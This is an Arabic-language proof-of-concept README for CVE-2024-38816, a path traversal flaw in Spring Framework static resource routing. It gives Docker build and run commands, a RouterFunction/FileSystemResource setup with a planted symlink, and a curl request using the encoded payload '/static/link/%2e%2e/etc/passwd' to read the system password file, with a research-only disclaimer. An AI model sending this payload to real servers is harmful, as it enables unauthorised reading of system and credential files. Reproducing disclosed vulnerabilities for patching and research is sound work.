
CVE-2024-38816 إثبات المفهوم
هذا إثبات مفهوم لثغرة CVE-2024-38816، يوضح استغلال اجتياز المسار (Path Traversal).
قم ببناء صورة Docker: (Spring Boot 3.0.13، استنادًا إلى Spring Framework 6.0.3)
docker build -t cve-2024-38816-poc .
شغّل الحاوية واعرض المنفذ 8080 على الجهاز المضيف:
docker run -d -p 8080:8080 --name cve-2024-38816-poc cve-2024-38816-poc
شغّل الأمر التالي لتنفيذ إثبات المفهوم وتأكيد الثغرة:
curl http://localhost:8080/static/link/%2e%2e/etc/passwd
إذا تم عرض محتويات ملف /etc/passwd، فسيتم تأكيد الثغرة.
تم إنشاء إثبات المفهوم هذا بناءً على تحليل ملاحظات الإصدار وسجلات الالتزامات (commit logs). قد يختلف سلوك الثغرة الفعلي، لذا لا يتم ضمان الدقة. استخدمه على مسؤوليتك الخاصة.
تم تصحيح الثغرة في Spring Framework 6.1.13، كما هو مؤكد في ملاحظات الإصدار.
بعد مراجعة ملاحظات الإصدار وسجلات الالتزامات ذات الصلة، حددت المشكلتين التاليتين كاحتمال لارتباطهما بهذه الثغرة:
وفقًا للاستشارة الأمنية، من المحتمل أن الشروط التالية يجب أن تتوفر لنجاح الهجوم:
RouterFunctionsFileSystemResourceيتم استخدام بيئة Docker لإعادة إنتاج الثغرة.
أنشئ PathTraversalDemoApplication.java بالكود التالي لإعداد توجيه الملفات الثابتة باستخدام RouterFunction و FileSystemResource:
public RouterFunction<ServerResponse> staticResourceRouter() {
return RouterFunctions.resources("/static/**", new FileSystemResource("/app/static/"));
}
أضف الأمر التالي إلى ملف Dockerfile لإنشاء رابط رمزي:
RUN ln -s /static /app/static/link
أنشئ حمولة (payload) تستفيد من ترميز % لاجتياز الدلائل عبر الرابط الرمزي.
/static/link/%2e%2e/etc/passwdاستخدم أمر curl التالي لتنفيذ إثبات المفهوم والتحقق من نجاح الهجوم:
curl http://localhost:8080/static/link/%2e%2e/etc/passwd
إذا نجح الهجوم، فسيتم عرض محتويات ملف /etc/passwd.
تم توفير إثبات المفهوم هذا لأغراض تعليمية وبحوث أمنية. قبل استخدامه في نظام حقيقي، تأكد من إصلاح الثغرة ومن حصولك على التصريح المناسب. لا يتحمل المؤلف أي مسؤولية عن أي إساءة استخدام لهذا الكود.